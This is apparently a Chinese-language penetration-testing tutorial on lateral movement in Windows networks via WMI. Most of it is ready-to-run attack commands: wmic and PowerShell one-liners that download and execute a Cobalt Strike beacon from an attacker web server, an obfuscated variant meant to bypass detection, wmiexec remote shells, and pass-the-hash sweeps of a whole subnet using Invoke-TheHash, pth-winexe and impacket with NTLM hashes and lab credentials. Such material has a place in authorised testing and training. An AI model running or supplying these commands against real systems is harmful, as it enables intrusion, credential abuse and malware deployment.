WMI横向移动

WMI横向移动_第1张图片

0x01 WMI横向移动简介

简介

WMI全称“windows管理规范”,从win2003开始一直存在。它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动。

利用条件

1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。

0x02 windows自带wmic工具横向移动(推荐)

实际测试(wmic)
08 -> 03 不成功
03 -> 08 成功
08 -> 08 成功

wmic实现CS beacon上线

方式1(Scripted Web Delivery):

wmic /NODE:192.168.3.123 /user:"administrator" /password:"Aatest" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))\""

WMI横向移动_第2张图片
WMI横向移动_第3张图片

方式2(payload generator):
1、通过生成powershell的“payload generator”
WMI横向移动_第4张图片

2、本地可以使用python开启web server,以便于powershell加载payload。
在这里插入图片描述

3、通过下列命令加载执行powershell。(payload后缀改为txt也可正常上线。)

wmic /NODE:192.168.3.123 /user:"administrator" /password:"Aatest" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/payload.ps1');\""

WMI横向移动_第5张图片

小tips:
powershell执行的时候可以加一些混淆,能够起到一定程度上的bypass效果。

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/payload.txt');"
powershell -nop -exec bypass -c "('IEX'+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.3'+'.86:8000/'+'payl'+'o'+'a'+'d.'+'txt1v'+'c)'+';').REplaCE('1vc',[STRing][CHAR]39)|IeX"

在这里插入图片描述
CS正常上线。

0x03 通过外部工具实现WMI横向移动

一、wmiexec.vbs(推荐)

此脚本无论是在域环境下还是在工作组环境下都可正常使用。使用域账号或本地账号均可。
反弹shell:

cscript wmiexec.vbs /shell 192.168.3.123 administrator Aatest	//此处使用普通用户

WMI横向移动_第6张图片

命令执行:

cscript wmiexec.vbs /cmd 192.168.3.123 ggyao\administrator Aatest "ipconfig"	//此处使用域用户

WMI横向移动_第7张图片

二、Invoke-TheHash.ps1(推荐,批量)

使用已知管理员hash,批量撞指定网段机器,此方式同时适用于工作组和域环境。需要同时加载Invoke-WMIExec.ps1、Invoke-TheHash.ps1。(https://github.com/Kevin-Robertson/Invoke-TheHash)
1、将powershell脚本放到内网一台机器上,用python开一个web server。
在这里插入图片描述

2、加载脚本。

powershell -exec bypass
IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/Invoke-WMIExec.ps1');
IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/Invoke-TheHash.ps1');

在这里插入图片描述

3、利用已有管理员hash,批量撞指定网段机器。
域环境下:

PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Domain ggyao -Username administrator -Hash e1c61709dffcf154ac9d77b5024f6d10

在这里插入图片描述

工作组环境下:

PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Username administrator -Hash b4e535a9bb56bcc084602062c9e2a9d4

在这里插入图片描述

三、kali自带pth工具集(推荐)

工作组环境下(本地管理员):

pth-winexe  -U administrator%Aatest --system --ostype=1 //192.168.3.90 cmd

WMI横向移动_第8张图片

域环境下(域管用户):

pth-winexe  -U ggyao/administrator%Aatest --system --ostype=1 //192.168.3.90 cmd

WMI横向移动_第9张图片

四、wmicmd命令回显(工作组)

(https://github.com/nccgroup/WMIcmd)
主要用于工作组横向移动。

WMIcmd.exe -h 192.168.3.108 -u administrator -p Aatest -d . -c "ipconfig"

五、impacket套件

impacket套件是通过445端口进行通信的,不是135端口。
windows下:
(https://github.com/maaaaz/impacket-examples-windows)

域用户
wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 域名/administrator@192.168.3.123 "ipconfig"

Linux下:

工作组
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c administrator@192.168.3.123 "ipconfig" 
域用户
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c 域名/administrator@192.168.3.123 "ipconfig" 

你可能感兴趣的:(内网渗透-横向移动)